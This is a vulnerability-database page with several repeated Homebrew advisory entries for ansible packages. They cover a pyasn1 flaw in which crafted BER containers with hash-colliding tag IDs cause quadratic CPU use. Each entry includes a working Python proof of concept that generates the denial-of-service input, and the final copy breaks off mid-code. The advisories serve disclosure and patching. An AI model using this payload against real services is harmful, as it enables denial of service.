Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-ANSIBLE-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:34 – Updated: 2026-10-31 18:52 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible",
            "purl": "pkg:brew/ansible"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.4.0.0"
                },
                {
                  "fixed": "14.5.0_3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-ansible-CVE-2026-119194",
      "modified": "2026-10-31T18:52:28Z",
      "published": "2026-10-31T08:34:52Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-ANSIBLE@10-CVE-2026… (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:54 – Updated: 2026-10-31 08:54 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.1",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@10",
            "purl": "pkg:brew/ansible%4010"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "10.6.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.1",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.1"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-ansible@10-CVE-2026-119194",
      "modified": "2026-10-31T08:54:55Z",
      "published": "2026-10-31T08:54:55Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-ANSIBLE@12-CVE-2026… (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:33 – Updated: 2026-10-31 08:33 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@12",
            "purl": "pkg:brew/ansible%4012"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "12.2.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-ansible@12-CVE-2026-119194",
      "modified": "2026-10-31T08:33:13Z",
      "published": "2026-10-31T08:33:13Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-ANSIBLE@13-CVE-2026… (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 10:38 – Updated: 2026-10-31 10:38 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
        return b'\x30' + bytes([0x80 | len(length)]) + length + body
    
    
    for count in (3200, 6400):
        cases = (
            ("collision", [32 + i * sys.hash_info.modulus
                           for i in range(count)]),
            ("control", [(1 << 70) + i for i in range(count)]),
        )
        for name, tag_ids in cases:
            wire = payload(tag_ids)
            start = time.process_time()
            value, remainder = decoder.decode(wire)
            cpu_seconds = time.process_time() - start
    
            assert type(value) is univ.Sequence
            assert len(value) == count and remainder == b''
            for position, tag_id in enumerate(tag_ids):
                component = value.getComponentByPosition(position)
                assert component.asOctets() == b'A'
                assert component.tagSet[-1].tagId == tag_id
    
            print(count, name, len(wire), round(cpu_seconds, 3))
    

    Impact

    Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.5"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@13",
            "purl": "pkg:brew/ansible%4013"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "13.7.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component\u2019s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b\u0027\\xbf\u0027 + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b\u0027\u0027.join(enc_tag(tag_id) + b\u0027\\x03\\x04\\x01A\u0027\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, \u0027big\u0027)\n    return b\u0027\\x30\u0027 + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b\u0027\u0027\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b\u0027A\u0027\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.",
      "id": "BREW-ansible@13-CVE-2026-119194",
      "modified": "2026-10-31T10:38:15Z",
      "published": "2026-10-31T10:38:15Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119194"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/pull/132"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding",
      "upstream": [
        "GHSA-fm9c-5rcf-2q5p",
        "CVE-2026-119194"
      ]
    }

    BREW-ANSIBLE@9-CVE-2026-119194 (GHSA-FM9C-5RCF-2Q5P)

    Vulnerability from osv_homebrew – Published: 2026-10-31 08:33 – Updated: 2026-10-31 08:33 – Source website
    VLAI
    Summary
    pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
    Details

    Summary

    When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

    Details

    ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

    Proof of concept

    Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

    import sys
    import time
    
    from pyasn1.codec.ber import decoder
    from pyasn1.type import univ
    
    
    def enc_tag(tag_id):
        groups = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            groups.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        return b'\xbf' + bytes(reversed(groups))
    
    
    def payload(tag_ids):
        body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                        for tag_id in tag_ids)
        length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
